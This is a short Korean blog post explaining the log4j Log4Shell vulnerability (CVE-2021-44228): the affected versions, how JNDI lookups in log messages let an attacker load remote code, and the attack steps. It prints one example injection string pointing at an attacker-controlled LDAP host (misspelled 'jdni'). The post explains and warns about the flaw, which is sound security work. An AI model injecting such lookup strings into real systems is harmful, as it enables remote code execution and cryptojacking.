d0r1

log4j (CVE-2021-44228) 본문

이것저것/관심

log4j (CVE-2021-44228)

d0r1 2023. 7. 18. 19:18



CVE NUM : CVE-2021-44228

 

log4j란?
log for JAVA 라는 이름으로, 로그문의 출력을 다양한 대상으로 할 수 있도록 도와주는 오픈소스이다.

 

RCE가 가능한 취약점이다.

 

해당 취약점은 apache2 log4j2 버전 2.0-베타9부터 2.15.0까지의 버전에서 발견된 취약점이다.

(( 최신 업데이트를 진행하면, 취약점은 패치됩니다. ))

 

-포인트-

JNDI (java naming and directory interface) 기능을 구성, 로그 메시지 및 매개변수에서 사용할 때 발생.

취약한 설정에서는 공격자가 제어할 수 있는 LDAP 및 기타 JNDI 관련 엔드포인트에 대해 보호되지 않는다.

 

로그 메시지나 메세지의 매개변수를 제어할 수 있는 공격자는 메세지 조회 치환기능이 활성화 되어 있을때, LDAP 서버에서 로드된 임의의 코드를 실행할 수 있다. 

 

이는 최신 업데이트에 의해 비활성화 되었다.

 

-공격 방식-

JNDI가 "${jndi}"명령의 특정 서식을 입력받으면, 취약점이 트리거된다.

 

JNDI는 로그를 남기기 위해 파싱을 진행하는데, 이때 ldap라는 명령을 사용하여, 원격 호스트 url에 연결을 수행할 수 있다.

이를 왜 참조하느냐하면, 전산시스템에서 침해 사고 및 이상 징후가 발견되었을 때를 대비하여 흐름을 로그로 남기는데, 특정 문자열이 발견되면, 문자열 사이의 내용을 추출하고, 이를 JNDI lookup 기능을 호출하여 외부 서버를 참조하기 때문이다.

 

((ldap 외에도 다른 명령을 통해 공격이 가능하다.))

 

(1) 공격자가 ${jdni:ldap://hacking.kr} 를 삽입

(2) 공격자의 서버에 존재하는 임의의 코드가 내부 네트워크에서 실행된다.

(3) 이 코드에 의해 크립토재킹등 다양한 공격 수행

 

 

++ JNDI?

자바 애플리케이션에서 외부 디텍터리 서비스에서 제공하는 자원을 찾아 사용하기 위한 자바 API